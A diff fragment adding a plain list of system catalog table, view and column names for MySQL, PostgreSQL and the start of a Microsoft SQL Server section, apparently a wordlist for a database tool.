+SUM_TIMER_READ +SUM_TIMER_READ_EXTERNAL +SUM_TIMER_READ_HIGH_PRIORITY +SUM_TIMER_READ_NO_INSERT +SUM_TIMER_READ_NORMAL +SUM_TIMER_READ_ONLY +SUM_TIMER_READ_WITH_SHARED_LOCKS +SUM_TIMER_READ_WRITE +SUM_TIMER_UPDATE +SUM_TIMER_WAIT +SUM_TIMER_WRITE +SUM_TIMER_WRITE_ALLOW_WRITE +SUM_TIMER_WRITE_CONCURRENT_INSERT +SUM_TIMER_WRITE_EXTERNAL +SUM_TIMER_WRITE_LOW_PRIORITY +SUM_TIMER_WRITE_NORMAL +SUM_WARNINGS +Super_priv +SUPPORT +surname +SWAPS +sys_config +sys_version +TABLE_CATALOG +TABLE_COLLATION +TABLE_COMMENT +TABLE_CONSTRAINTS +TABLE_CONSTRAINTS_EXTENSIONS +table_handles +TABLE_ID +table_io_waits_summary_by_index_usage +table_io_waits_summary_by_table +table_lock_waits_summary_by_table +TABLE_NAME +Table_priv +TABLE_PRIVILEGES +TABLE_ROWS +TABLES +table_scans +TABLE_SCHEMA +TABLES_EXTENSIONS +TABLESPACE_NAME +TABLESPACES_EXTENSIONS +tables_priv +TABLE_TYPE +TELEMETRY_ACTIVE +thd_id +thread +thread_id +THREAD_OS_ID +THREAD_PRIORITY +threads +TIME +TIMED +TIME_DISABLED +TIME_ELAPSED +TIME_ENABLED +TIMER_END +TIME_RESET +TIMER_FREQUENCY +TIMER_NAME +TIMER_OVERHEAD +TIMER_PREPARE +TIMER_RESOLUTION +TIMER_START +TIMER_WAIT +Timestamp +time_zone +TIME_ZONE +Time_zone_id +time_zone_leap_second +time_zone_name +time_zone_transition +time_zone_transition_type +tls_channel_status +Tls_ciphersuites +Tls_version +tmp_disk_tables +tmp_tables +tmp_tables_to_disk_pct +TO_HOST +total +total_allocated +TOTAL_CONNECTIONS +TOTAL_EXTENTS +total_latency +TOTAL_MEMORY +total_memory_allocated +total_read +total_requested +TOTAL_ROW_VERSIONS +total_written +TO_USER +TRACE +TRANSACTION_COUNTER +TRANSACTIONS +TRANSACTIONS_COMMITTED_ALL_MEMBERS +Transition_time +Transition_type_id +TRIGGER_CATALOG +TRIGGER_NAME +Trigger_priv +TRIGGERS +TRIGGER_SCHEMA +trx_adaptive_hash_latched +trx_adaptive_hash_timeout +trx_autocommit +trx_autocommit_non_locking +trx_concurrency_tickets +trx_foreign_key_checks +trx_id +trx_isolation_level +trx_is_read_only +trx_last_foreign_key_error +trx_latency +trx_lock_memory_bytes +trx_lock_structs +trx_mysql_thread_id +trx_operation_state +trx_query +trx_requested_lock_id +trx_rows_locked +trx_rows_modified +trx_schedule_weight +trx_started +trx_state +trx_tables_in_use +trx_tables_locked +trx_unique_checks +trx_wait_started +trx_weight +TYPE +UDF_LIBRARY +UDF_NAME +UDF_RETURN_TYPE +UDF_TYPE +UDF_USAGE_COUNT +UNCOMPRESS_CURRENT +UNCOMPRESSED_BYTES_COUNTER +uncompress_ops +uncompress_time +UNCOMPRESS_TOTAL +UNIQUE_CONSTRAINT_CATALOG +UNIQUE_CONSTRAINT_NAME +UNIQUE_CONSTRAINT_SCHEMA +unique_hosts +unique_users +UNIT +UNIT_NAME +UNIT_TYPE +UPDATE_COUNT +update_latency +Update_priv +UPDATE_RULE +updates +UPDATE_TIME +url +Use_leap_seconds +user +USER +User_attributes +USER_ATTRIBUTES +user_defined_functions +user_host +User_name +Username +User_password +USER_PRIVILEGES +users +user_summary +user_summary_by_file_io +user_summary_by_file_io_type +user_summary_by_stages +user_summary_by_statement_latency +user_summary_by_statement_type +user_variables_by_thread +Uuid +VALUE +variable +VARIABLE_NAME +VARIABLE_PATH +variables_by_thread +variables_info +VARIABLE_SOURCE +VARIABLE_VALUE +VCPU_IDS +version +VERSION +VIEW_CATALOG +VIEW_DEFINITION +VIEW_ID +VIEW_NAME +VIEW_ROUTINE_USAGE +VIEWS +VIEW_SCHEMA +VIEW_TABLE_USAGE +VOLATILITY +wait_age +wait_age_secs +wait_classes_global_by_avg_latency +wait_classes_global_by_latency +waiting_account +waiting_lock_duration +waiting_lock_id +waiting_lock_mode +waiting_lock_type +waiting_pid +waiting_query +waiting_query_rows_affected +waiting_query_rows_examined +waiting_query_secs +waiting_thread_id +waiting_trx_age +waiting_trx_id +waiting_trx_rows_locked +waiting_trx_rows_modified +waiting_trx_started +waits_by_host_by_latency +waits_by_user_by_latency +waits_global_by_latency +wait_started +warn_count +warning_pct +WARNINGS +Weight +WITH_ADMIN_OPTION +With_grant +WITH_GRANT_OPTION +WORD +WORK_COMPLETED +WORKER_ID +WORK_ESTIMATED +Wrapper +write_latency +WRITE_LOCKED_BY_THREAD_ID +write_pct +x$host_summary +x$host_summary_by_file_io +x$host_summary_by_file_io_type +x$host_summary_by_stages +x$host_summary_by_statement_latency +x$host_summary_by_statement_type +x$innodb_buffer_stats_by_schema +x$innodb_buffer_stats_by_table +x$innodb_lock_waits +x$io_by_thread_by_latency +x$io_global_by_file_by_bytes +x$io_global_by_file_by_latency +x$io_global_by_wait_by_bytes +x$io_global_by_wait_by_latency +x$latest_file_io +x$memory_by_host_by_current_bytes +x$memory_by_thread_by_current_bytes +x$memory_by_user_by_current_bytes +x$memory_global_by_current_bytes +x$memory_global_total +x$processlist +x$ps_digest_95th_percentile_by_avg_us +x$ps_digest_avg_latency_distribution +x$ps_schema_table_statistics_io +x$schema_flattened_keys +x$schema_index_statistics +x$schema_table_lock_waits +x$schema_table_statistics +x$schema_table_statistics_with_buffer +x$schema_tables_with_full_table_scans +x$session +x$statement_analysis +x$statements_with_errors_or_warnings +x$statements_with_full_table_scans +x$statements_with_runtimes_in_95th_percentile +x$statements_with_sorting +x$statements_with_temp_tables +x$user_summary +x$user_summary_by_file_io +x$user_summary_by_file_io_type +x$user_summary_by_stages +x$user_summary_by_statement_latency +x$user_summary_by_statement_type +x$wait_classes_global_by_avg_latency +x$wait_classes_global_by_latency +x$waits_by_host_by_latency +x$waits_by_user_by_latency +x$waits_global_by_latency +x509_issuer +x509_subject +XA +XA_STATE +XID_BQUAL +XID_FORMAT_ID +XID_GTRID +YOUNG_MAKE_PER_THOUSAND_GETS +ZIP_PAGE_SIZE +ZSTD_COMPRESSION_LEVEL + +[PostgreSQL] +abbrev +action_condition +action_order +action_orientation +action_reference_new_row +action_reference_new_table +action_reference_old_row +action_reference_old_table +action_statement +action_timing +active +active_pid +active_time +adbin +address +administrable_role_authorizations +admin_option +adnum +adrelid +aggcombinefn +aggdeserialfn +aggfinalextra +aggfinalfn +aggfinalmodify +aggfnoid +agginitval +aggkind +aggmfinalextra +aggmfinalfn +aggmfinalmodify +aggminitval +aggminvtransfn +aggmtransfn +aggmtransspace +aggmtranstype +aggnumdirectargs +aggserialfn +aggsortop +aggtransfn +aggtransspace +aggtranstype +allocated_size +amhandler +amname +amopfamily +amoplefttype +amopmethod +amopopr +amoppurpose +amoprighttype +amopsortfamily +amopstrategy +amproc +amprocfamily +amproclefttype +amprocnum +amprocrighttype +amtype +analyze_count +applicable_roles +application_name +applied +apply_error_count +archived_count +as_locator +attacl +attalign +attbyval +attcacheoff +attcollation +attcompression +attfdwoptions +attgenerated +atthasdef +atthasmissing +attidentity +attinhcount +attisdropped +attislocal +attlen +attmissingval +attname +attnames +attndims +attnotnull +attnum +attoptions +attrelid +attribute_default +attribute_name +attributes +attribute_udt_catalog +attribute_udt_name +attribute_udt_schema +attstattarget +attstorage +atttypid +atttypmod +auth_method +authorization_identifier +autoanalyze_count +autovacuum_count +avg_width +backend_start +backend_type +backend_xid +backend_xmin +backup_streamed +backup_total +bits +blk_read_time +blks_exists +blks_hit +blks_read +blks_written +blks_zeroed +blk_write_time +block_distance +blocks_done +blocks_total +boot_val +buffers_alloc +buffers_backend +buffers_backend_fsync +buffers_checkpoint +buffers_clean +bytes_processed +bytes_total +cache_size +calls +castcontext +castfunc +castmethod +castsource +casttarget +catalog_name +catalog_xmin +category +cfgname +cfgnamespace +cfgowner +cfgparser +character_maximum_length +character_octet_length +character_repertoire +character_set_catalog +character_set_name +character_sets +character_set_schema +character_value +check_clause +check_constraint_routine_usage +check_constraints +check_option +checkpoints_req +checkpoints_timed +checkpoint_sync_time +checkpoint_write_time +checksum_failures +checksum_last_failure +child_tables_done +child_tables_total +chunk_data +chunk_id +chunk_seq +cipher +classid +classoid +client_addr +client_dn +client_hostname +client_port +client_serial +cluster_index_relid +cmax +cmd +cmin +collation_catalog +collation_character_set_applicability +collation_name +collations +collation_schema +collcollate +collctype +collection_type_identifier +collencoding +colliculocale +collicurules +collisdeterministic +collname +collnamespace +collowner +collprovider +collversion +column_column_usage +column_default +column_domain_usage +column_name +column_options +column_privileges +columns +column_udt_usage +command +comment +comments +commit_action +conbin +condefault +condeferrable +condeferred +conexclop +confdelsetcols +confdeltype +conffeqop +confirmed_flush_lsn +confkey +confl_active_logicalslot +confl_bufferpin +confl_deadlock +conflicting +conflicts +confl_lock +confl_snapshot +confl_tablespace +confmatchtype +conforencoding +confrelid +confupdtype +conindid +coninhcount +conislocal +conkey +conname +connamespace +conninfo +connoinherit +conowner +conparentid +conpfeqop +conppeqop +conproc +conrelid +constraint_catalog +constraint_column_usage +constraint_name +constraint_schema +constraint_table_usage +constraint_type +context +contoencoding +contype +contypid +convalidated +correlation +created +creation_time +credentials_delegated +ctid +current_child_table_relid +current_locker_pid +custom_plans +cycle +cycle_option +data +database +datacl +datallowconn +data_type +data_type_privileges +datcollate +datcollversion +datconnlimit +datctype +datdba +datetime_precision +datfrozenxid +daticulocale +daticurules +datid +datistemplate +datlocprovider +datminmxid +datname +datoid +dattablespace +dbid +deadlocks +defaclacl +defaclnamespace +defaclobjtype +defaclrole +default_character_set_catalog +default_character_set_name +default_character_set_schema +default_collate_catalog +default_collate_name +default_collate_schema +default_version +definition +delete_rule +dependencies +dependent_column +deptype +description +dictinitoption +dictname +dictnamespace +dictowner +dicttemplate +domain_catalog +domain_constraints +domain_default +domain_name +domains +domain_schema +domain_udt_usage +dtd_identifier +elem_count_histogram +element_types +enabled_roles +encoding +encrypted +enforced +enumlabel +enumsortorder +enumtypid +enumvals +error +ev_action +ev_class +ev_enabled +event_manipulation +event_object_catalog +event_object_column +event_object_schema +event_object_table +evictions +ev_qual +evtenabled +evtevent +evtfoid +evtname +evtowner +evttags +ev_type +expr +exprs +extcondition +extconfig +extends +extend_time +external_id +external_language +external_name +extname +extnamespace +extowner +extra_desc +extrelocatable +ext_stats_computed +ext_stats_total +extversion +failed_count +fastpath +fdwacl +fdwhandler +fdwname +fdwoptions +fdwowner +fdwvalidator +feature_id +feature_name +file_name +flushed_lsn +flushes +flush_lag +flush_lsn +foreign_data_wrapper_catalog +foreign_data_wrapper_language +foreign_data_wrapper_name +foreign_data_wrapper_options +foreign_data_wrappers +foreign_server_catalog +foreign_server_name +foreign_server_options +foreign_servers +foreign_server_type +foreign_server_version +foreign_table_catalog +foreign_table_name +foreign_table_options +foreign_tables +foreign_table_schema +form_of_use +free_bytes +free_chunks +from_sql +fsyncs +fsync_time +ftoptions +ftrelid +ftserver +funcid +funcname +generation_expression +generic_plans +gid +granted +grantee +grantor +grolist +groname +grosysid +group_name +gss_authenticated +hasindexes +hasrules +hastriggers +heap_blks_hit +heap_blks_read +heap_blks_scanned +heap_blks_total +heap_blks_vacuumed +heap_tuples_scanned +heap_tuples_written +histogram_bounds +hit +hits +ident +identity_cycle +identity_generation +identity_increment +identity_maximum +identity_minimum +identity_start +idle_in_transaction_time +idx_blks_hit +idx_blks_read +idx_scan +idx_tup_fetch +idx_tup_read +implementation_info_id +implementation_info_name +increment +increment_by +indcheckxmin +indclass +indcollation +indexdef +indexname +indexprs +index_rebuild_count +index_relid +indexrelid +indexrelname +index_vacuum_count +indimmediate +indisclustered +indisexclusion +indislive +indisprimary +indisready +indisreplident +indisunique +indisvalid +indkey +indnatts +indnkeyatts +indnullsnotdistinct +indoption +indpred +indrelid +information_schema_catalog_name +inhdetachpending +inherited +inherit_option +inhparent +inhrelid +inhseqno +initially_deferred +initprivs +installed +installed_version +integer_value +interval_precision +interval_type +io_depth +is_binary +is_deferrable +is_derived_reference_attribute +is_deterministic +is_dst +is_final +is_generated +is_grantable +is_holdable +is_identity +is_implicitly_invocable +is_insertable_into +is_instantiable +is_instead +is_nullable +is_null_call +ispopulated +is_result +is_scrollable +is_self_referencing +issuer_dn +is_supported +is_trigger_deletable +is_trigger_insertable_into +is_trigger_updatable +is_typed +is_udt_dependent +is_updatable +is_user_defined_cast +is_verified_by +key_column_usage +kinds +label +lanacl +laninline +lanispl +lanname +lanowner +lanplcallfoid +lanpltrusted +lanvalidator +last_altered +last_analyze +last_archived_time +last_archived_wal +last_autoanalyze +last_autovacuum +last_failed_time +last_failed_wal +last_idx_scan +last_msg_receipt_time +last_msg_send_time +last_seq_scan +last_vacuum +last_value +latest_end_lsn +latest_end_time +leader_pid +level +library_name +line_number +local_id +local_lsn +lockers_done +lockers_total +locktype +loid +lomacl +lomowner +mapcfg +mapdict +map_name +map_number +mapseqno +maptokentype +match_option +matviewname +matviewowner +max_dead_tuples +max_dynamic_result_sets +maximum_cardinality +maximum_value +max_val +max_value +maxwritten_clean +member +minimum_value +min_val +min_value +mode +module_catalog +module_name +module_schema +most_common_base_freqs +most_common_elem_freqs +most_common_elems +most_common_freqs +most_common_val_nulls +most_common_vals +name +n_dead_tup +n_distinct +netmask +new_savepoint_level +n_ins_since_vacuum +n_live_tup +n_mod_since_analyze +nspacl +nspname +nspowner +n_tup_del +n_tup_hot_upd +n_tup_ins +n_tup_newpage_upd +n_tup_upd +null_frac +nulls_distinct +numbackends +num_dead_tuples +numeric_precision +numeric_precision_radix +numeric_scale +object +object_catalog +object_name +object_schema +object_type +objid +objname +objnamespace +objoid +objsubid +objtype +off +oid +op_bytes +opcdefault +opcfamily +opcintype +opckeytype +opcmethod +opcname +opcnamespace +opcowner +opfmethod +opfname +opfnamespace +opfowner +oprcanhash +oprcanmerge +oprcode +oprcom +oprjoin +oprkind +oprleft +oprname +oprnamespace +oprnegate +oprowner +oprrest +oprresult +oprright +option_name +options +option_value +ordering_category +ordering_form +ordering_routine_catalog +ordering_routine_name +ordering_routine_schema +ordinal_position +owner +pad_attribute +page +pageno +paracl +parameter_default +parameter_mode +parameter_name +parameters +parameter_style +parameter_types +parent +parname +partattrs +partclass +partcollation +partdefid +partexprs +partitions_done +partitions_total +partnatts +partrelid +partstrat +passwd +pending_restart +permissive +pg_aggregate +pg_aggregate_fnoid_index +pg_am +pg_am_name_index +pg_am_oid_index +pg_amop +pg_amop_fam_strat_index +pg_amop_oid_index +pg_amop_opr_fam_index +pg_amproc +pg_amproc_fam_proc_index +pg_amproc_oid_index +pg_attrdef +pg_attrdef_adrelid_adnum_index +pg_attrdef_oid_index +pg_attribute +pg_attribute_relid_attnam_index +pg_attribute_relid_attnum_index +pg_authid +pg_authid_oid_index +pg_authid_rolname_index +pg_auth_members +pg_auth_members_grantor_index +pg_auth_members_member_role_index +pg_auth_members_oid_index +pg_auth_members_role_member_index +pg_available_extensions +pg_available_extension_versions +pg_backend_memory_contexts +pg_cast +pg_cast_oid_index +pg_cast_source_target_index +pg_class +pg_class_oid_index +pg_class_relname_nsp_index +pg_class_tblspc_relfilenode_index +pg_collation +pg_collation_name_enc_nsp_index +pg_collation_oid_index +pg_config +pg_constraint +pg_constraint_conname_nsp_index +pg_constraint_conparentid_index +pg_constraint_conrelid_contypid_conname_index +pg_constraint_contypid_index +pg_constraint_oid_index +pg_conversion +pg_conversion_default_index +pg_conversion_name_nsp_index +pg_conversion_oid_index +pg_cursors +pg_database +pg_database_datname_index +pg_database_oid_index +pg_db_role_setting +pg_db_role_setting_databaseid_rol_index +pg_default_acl +pg_default_acl_oid_index +pg_default_acl_role_nsp_obj_index +pg_depend +pg_depend_depender_index +pg_depend_reference_index +pg_description +pg_description_o_c_o_index +pg_enum +pg_enum_oid_index +pg_enum_typid_label_index +pg_enum_typid_sortorder_index +pg_event_trigger +pg_event_trigger_evtname_index +pg_event_trigger_oid_index +pg_extension +pg_extension_name_index +pg_extension_oid_index +pg_file_settings +pg_foreign_data_wrapper +pg_foreign_data_wrapper_name_index +pg_foreign_data_wrapper_oid_index +_pg_foreign_data_wrappers +pg_foreign_server +pg_foreign_server_name_index +pg_foreign_server_oid_index +_pg_foreign_servers +pg_foreign_table +_pg_foreign_table_columns +pg_foreign_table_relid_index +_pg_foreign_tables +pg_group +pg_hba_file_rules +pg_ident_file_mappings +pg_index +pg_indexes +pg_index_indexrelid_index +pg_index_indrelid_index +pg_inherits +pg_inherits_parent_index +pg_inherits_relid_seqno_index +pg_init_privs +pg_init_privs_o_c_o_index +pg_language +pg_language_name_index +pg_language_oid_index +pg_largeobject +pg_largeobject_loid_pn_index +pg_largeobject_metadata +pg_largeobject_metadata_oid_index +pg_locks +pg_matviews +pg_namespace +pg_namespace_nspname_index +pg_namespace_oid_index +pg_opclass +pg_opclass_am_name_nsp_index +pg_opclass_oid_index +pg_operator +pg_operator_oid_index +pg_operator_oprname_l_r_n_index +pg_opfamily +pg_opfamily_am_name_nsp_index +pg_opfamily_oid_index +pg_parameter_acl +pg_parameter_acl_oid_index +pg_parameter_acl_parname_index +pg_partitioned_table +pg_partitioned_table_partrelid_index +pg_policies +pg_policy +pg_policy_oid_index +pg_policy_polrelid_polname_index +pg_prepared_statements +pg_prepared_xacts +pg_proc +pg_proc_oid_index +pg_proc_proname_args_nsp_index +pg_publication +pg_publication_namespace +pg_publication_namespace_oid_index +pg_publication_namespace_pnnspid_pnpubid_index +pg_publication_oid_index +pg_publication_pubname_index +pg_publication_rel +pg_publication_rel_oid_index +pg_publication_rel_prpubid_index +pg_publication_rel_prrelid_prpubid_index +pg_publication_tables +pg_range +pg_range_rngmultitypid_index +pg_range_rngtypid_index +pg_replication_origin +pg_replication_origin_roiident_index +pg_replication_origin_roname_index +pg_replication_origin_status +pg_replication_slots +pg_rewrite +pg_rewrite_oid_index +pg_rewrite_rel_rulename_index +pg_roles +pg_rules +pg_seclabel +pg_seclabel_object_index +pg_seclabels +pg_sequence +pg_sequences +pg_sequence_seqrelid_index +pg_settings +pg_shadow +pg_shdepend +pg_shdepend_depender_index +pg_shdepend_reference_index +pg_shdescription +pg_shdescription_o_c_index +pg_shmem_allocations +pg_shseclabel +pg_shseclabel_object_index +pg_stat_activity +pg_stat_all_indexes +pg_stat_all_tables +pg_stat_archiver +pg_stat_bgwriter +pg_stat_database +pg_stat_database_conflicts +pg_stat_gssapi +pg_stat_io +pg_statio_all_indexes +pg_statio_all_sequences +pg_statio_all_tables +pg_statio_sys_indexes +pg_statio_sys_sequences +pg_statio_sys_tables +pg_statio_user_indexes +pg_statio_user_sequences +pg_statio_user_tables +pg_statistic +pg_statistic_ext +pg_statistic_ext_data +pg_statistic_ext_data_stxoid_inh_index +pg_statistic_ext_name_index +pg_statistic_ext_oid_index +pg_statistic_ext_relid_index +pg_statistic_relid_att_inh_index +pg_stat_progress_analyze +pg_stat_progress_basebackup +pg_stat_progress_cluster +pg_stat_progress_copy +pg_stat_progress_create_index +pg_stat_progress_vacuum +pg_stat_recovery_prefetch +pg_stat_replication +pg_stat_replication_slots +pg_stats +pg_stats_ext +pg_stats_ext_exprs +pg_stat_slru +pg_stat_ssl +pg_stat_subscription +pg_stat_subscription_stats +pg_stat_sys_indexes +pg_stat_sys_tables +pg_stat_user_functions +pg_stat_user_indexes +pg_stat_user_tables +pg_stat_wal +pg_stat_wal_receiver +pg_stat_xact_all_tables +pg_stat_xact_sys_tables +pg_stat_xact_user_functions +pg_stat_xact_user_tables +pg_subscription +pg_subscription_oid_index +pg_subscription_rel +pg_subscription_rel_srrelid_srsubid_index +pg_subscription_subname_index +pg_tables +pg_tablespace +pg_tablespace_oid_index +pg_tablespace_spcname_index +pg_timezone_abbrevs +pg_timezone_names +pg_toast_1213 +pg_toast_1213_index +pg_toast_1247 +pg_toast_1247_index +pg_toast_1255 +pg_toast_1255_index +pg_toast_1260 +pg_toast_1260_index +pg_toast_1262 +pg_toast_1262_index +pg_toast_13494 +pg_toast_13494_index +pg_toast_13499 +pg_toast_13499_index +pg_toast_13504 +pg_toast_13504_index +pg_toast_13509 +pg_toast_13509_index +pg_toast_1417 +pg_toast_1417_index +pg_toast_1418 +pg_toast_1418_index +pg_toast_2328 +pg_toast_2328_index +pg_toast_2396 +pg_toast_2396_index +pg_toast_2600 +pg_toast_2600_index +pg_toast_2604 +pg_toast_2604_index +pg_toast_2606 +pg_toast_2606_index +pg_toast_2609 +pg_toast_2609_index +pg_toast_2612 +pg_toast_2612_index +pg_toast_2615 +pg_toast_2615_index +pg_toast_2618 +pg_toast_2618_index +pg_toast_2619 +pg_toast_2619_index +pg_toast_2620 +pg_toast_2620_index +pg_toast_2964 +pg_toast_2964_index +pg_toast_3079 +pg_toast_3079_index +pg_toast_3118 +pg_toast_3118_index +pg_toast_3256 +pg_toast_3256_index +pg_toast_3350 +pg_toast_3350_index +pg_toast_3381 +pg_toast_3381_index +pg_toast_3394 +pg_toast_3394_index +pg_toast_3429 +pg_toast_3429_index +pg_toast_3456 +pg_toast_3456_index +pg_toast_3466 +pg_toast_3466_index +pg_toast_3592 +pg_toast_3592_index +pg_toast_3596 +pg_toast_3596_index +pg_toast_3600 +pg_toast_3600_index +pg_toast_6000 +pg_toast_6000_index +pg_toast_6100 +pg_toast_6100_index +pg_toast_6106 +pg_toast_6106_index +pg_toast_6243 +pg_toast_6243_index +pg_toast_826 +pg_toast_826_index +pg_transform +pg_transform_oid_index +pg_transform_type_lang_index +pg_trigger +pg_trigger_oid_index +pg_trigger_tgconstraint_index +pg_trigger_tgrelid_tgname_index +pg_ts_config +pg_ts_config_cfgname_index +pg_ts_config_map +pg_ts_config_map_index +pg_ts_config_oid_index +pg_ts_dict +pg_ts_dict_dictname_index +pg_ts_dict_oid_index +pg_ts_parser +pg_ts_parser_oid_index +pg_ts_parser_prsname_index +pg_ts_template +pg_ts_template_oid_index +pg_ts_template_tmplname_index +pg_type +pg_type_oid_index +pg_type_typname_nsp_index +pg_user +pg_user_mapping +pg_user_mapping_oid_index +_pg_user_mappings +pg_user_mappings +pg_user_mapping_user_server_index +pg_username +pg_views +phase +pid +plugin +pnnspid +pnpubid +polcmd +policyname +polname +polpermissive +polqual +polrelid +polroles +polwithcheck +position_in_unique_constraint +prattrs +prefetch +prepared +prepare_time +principal +privilege_type +privtype +proacl +proallargtypes +proargdefaults +proargmodes +proargnames +proargtypes +probin +proconfig +procost +proisstrict +prokind +prolang +proleakproof +proname +pronamespace +pronargdefaults +pronargs +proowner +proparallel +proretset +prorettype +prorows +prosecdef +prosqlbody +prosrc +prosupport +protrftypes +provariadic +provider +provolatile +prpubid +prqual +prrelid +prsend +prsheadline +prslextype +prsname +prsnamespace +prsstart +prstoken +puballtables +pubdelete +pubinsert +pubname +pubowner +pubtruncate +pubupdate +pubviaroot +qual +query +query_id +query_start +reads +read_time +received_lsn +received_tli +receive_start_lsn +receive_start_tli +refclassid +ref_dtd_identifier +reference_generation +reference_type +referential_constraints +refobjid +refobjsubid +relacl +relallvisible +relam +relation +relchecks +relfilenode +relforcerowsecurity +relfrozenxid +relhasindex +relhasrules +relhassubclass +relhastriggers +relid +relispartition +relispopulated +relisshared +relkind +relminmxid +relname +relnamespace +relnatts +relocatable +reloftype +reloptions +relowner +relpages +relpartbound +relpersistence +relreplident +relrewrite +relrowsecurity +reltablespace +reltoastrelid +reltuples +reltype +remote_lsn +replay_lag +replay_lsn +reply_time +requires +reset_val +restart_lsn +result_cast_as_locator +result_cast_char_max_length +result_cast_char_octet_length +result_cast_char_set_catalog +result_cast_char_set_name +result_cast_char_set_schema +result_cast_collation_catalog +result_cast_collation_name +result_cast_collation_schema +result_cast_datetime_precision +result_cast_dtd_identifier +result_cast_from_data_type +result_cast_interval_precision +result_cast_interval_type +result_cast_maximum_cardinality +result_cast_numeric_precision +result_cast_numeric_precision_radix +result_cast_numeric_scale +result_cast_scope_catalog +result_cast_scope_name +result_cast_scope_schema +result_cast_type_udt_catalog +result_cast_type_udt_name +result_cast_type_udt_schema +result_types +reuses +rngcanonical +rngcollation +rngmultitypid +rngsubdiff +rngsubopc +rngsubtype +rngtypid +roident +rolbypassrls +rolcanlogin +rolconfig +rolconnlimit +rolcreatedb +rolcreaterole +role_column_grants +roleid +role_name +role_routine_grants +roles +role_table_grants +role_udt_grants +role_usage_grants +rolinherit +rolname +rolpassword +rolreplication +rolsuper +rolvaliduntil +roname +routine_body +routine_catalog +routine_column_usage +routine_definition +routine_name +routine_privileges +routine_routine_usage +routines +routine_schema +routine_sequence_usage +routine_table_usage +routine_type +rowfilter +rowsecurity +rulename +rule_number +safe_wal_size +sample_blks_scanned +sample_blks_total +schema +schema_level_routine +schema_name +schemaname +schema_owner +schemata +scope_catalog +scope_name +scope_schema +security_type +self_referencing_column_name +self_time +sender_host +sender_port +sent_lsn +seqcache +seqcycle +seqincrement +seqmax +seqmin +seqno +seqrelid +seq_scan +seqstart +seq_tup_read +seqtypid +sequence_catalog +sequence_name +sequencename +sequenceowner +sequences +sequence_schema +sessions +sessions_abandoned +sessions_fatal +sessions_killed +session_time +setconfig +setdatabase +set_option +setrole +setting +short_desc +size +sizing_id +sizing_name +skip_fpw +skip_init +skip_new +skip_rep +slot_name +slot_type +source +source_dtd_identifier +sourcefile +sourceline +spcacl +spcname +spcoptions +spcowner +specific_catalog +specific_name +specific_schema +spill_bytes +spill_count +spill_txns +sql_data_access +sql_features +sql_implementation_info +sql_parts +sql_path +sql_sizing +srrelid +srsubid +srsublsn +srsubstate +srvacl +srvfdw +srvid +srvname +srvoptions +srvowner +srvtype +srvversion +ssl +staattnum +stacoll1 +stacoll2 +stacoll3 +stacoll4 +stacoll5 +stadistinct +stainherit +stakind1 +stakind2 +stakind3 +stakind4 +stakind5 +stanullfrac +stanumbers1 +stanumbers2 +stanumbers3 +stanumbers4 +stanumbers5 +staop1 +staop2 +staop3 +staop4 +staop5 +starelid +start_value +state +state_change +statement +statistics_name +statistics_owner +statistics_schemaname +stats_reset +status +stavalues1 +stavalues2 +stavalues3 +stavalues4 +stavalues5 +stawidth +stream_bytes +stream_count +stream_txns +stxddependencies +stxdexpr +stxdinherit +stxdmcv +stxdndistinct +stxexprs +stxkeys +stxkind +stxname +stxnamespace +stxoid +stxowner +stxrelid +stxstattarget +subbinary +subconninfo +subdbid +subdisableonerr +subenabled +sub_feature_id +sub_feature_name +subid +subname +suborigin +subowner +subpasswordrequired +subpublications +subrunasowner +subskiplsn +subslotname +substream +subsynccommit +subtwophasestate +superuser +supported_value +sync_error_count +sync_priority +sync_state +sys_name +table_catalog +table_constraints +table_name +tablename +tableoid +tableowner +table_privileges +tables +table_schema +tablespace +tablespaces_streamed +tablespaces_total +table_type +temp_bytes +temp_files +temporary +tgargs +tgattr +tgconstraint +tgconstrindid +tgconstrrelid +tgdeferrable +tgenabled +tgfoid +tginitdeferred +tgisinternal +tgname +tgnargs +tgnewtable +tgoldtable +tgparentid +tgqual +tgrelid +tgtype +tidx_blks_hit +tidx_blks_read +tmplinit +tmpllexize +tmplname +tmplnamespace +toast_blks_hit +toast_blks_read +to_sql_specific_catalog +to_sql_specific_name +to_sql_specific_schema +total_bytes +total_nblocks +total_time +total_txns +transaction +transactionid +transforms +transform_type +trffromsql +trflang +trftosql +trftype +trigger_catalog +triggered_update_columns +trigger_name +triggers +trigger_schema +truncates +trusted +tup_deleted +tup_fetched +tup_inserted +tuple +tuples_done +tuples_excluded +tuples_processed +tuples_total +tup_returned +tup_updated +two_phase +typacl +typalign +typanalyze +typarray +typbasetype +typbyval +typcategory +typcollation +typdefault +typdefaultbin +typdelim +type +typelem +type_udt_catalog +type_udt_name +type_udt_schema +typinput +typisdefined +typispreferred +typlen +typmodin +typmodout +typname +typnamespace +typndims +typnotnull +typoutput +typowner +typreceive +typrelid +typsend +typstorage +typsubscript +typtype +typtypmod +udt_catalog +udt_name +udt_privileges +udt_schema +umid +umoptions +umserver +umuser +unique_constraint_catalog +unique_constraint_name +unique_constraint_schema +unit +update_rule +usage_privileges +usebypassrls +useconfig +usecreatedb +used_bytes +usename +user_defined_type_catalog +user_defined_type_category +user_defined_type_name +user_defined_types +user_defined_type_schema +userepl +user_mapping_options +user_mappings +user_name +usesuper +usesysid +utc_offset +vacuum_count +valuntil +vartype +version +view_catalog +view_column_usage +view_definition +view_name +viewname +viewowner +view_routine_usage +views +view_schema +view_table_usage +virtualtransaction +virtualxid +wait_event +wait_event_type +waitstart +wal_buffers_full +wal_bytes +wal_distance +wal_fpi +wal_records +wal_status +wal_sync +wal_sync_time +wal_write +wal_write_time +with_check +with_hierarchy +writebacks +writeback_time +write_lag +write_lsn +writes +write_time +written_lsn +xact_commit +xact_rollback +xact_start +xmax +xmin + +[Microsoft SQL Server] +aborted_version_cleaner_end_time +aborted_version_cleaner_start_time +abort_state +accdate +acceptable_cursor_options +access_count +access_date +access_type +acquire_time +actadd +action +action_id +action_in_log +action_name +action_package_guid +actions +actions_discovered +action_sequence +actions_scheduled +action_type +activation_procedure +active +active_backups +active_count +active_fts_index_count +active_ios_count +active_loads +active_log_size +active_log_size_mb +active_memgrant_count +active_memgrant_kb +active_parallel_thread_count +active_processes_count +active_request_count +active_requests +active_restores +active_scan_time_in_ms +active_tasks_count +active_vlf_count +active_worker_address +active_worker_count +active_workers_count +actmod +actual_read_row_count +actual_state +actual_state_additional_info +actual_state_desc +additional_information +additional_parameters +additional_props +addr +address +adjacent_broker_address +affected_rows +affinity +affinity_count +affinity_type +affinity_type_desc +after_begin +after_end +after_links +after_time +ag_db_id +ag_db_name +age +age_contents +age_content_version +age_issue_time +agent_exe 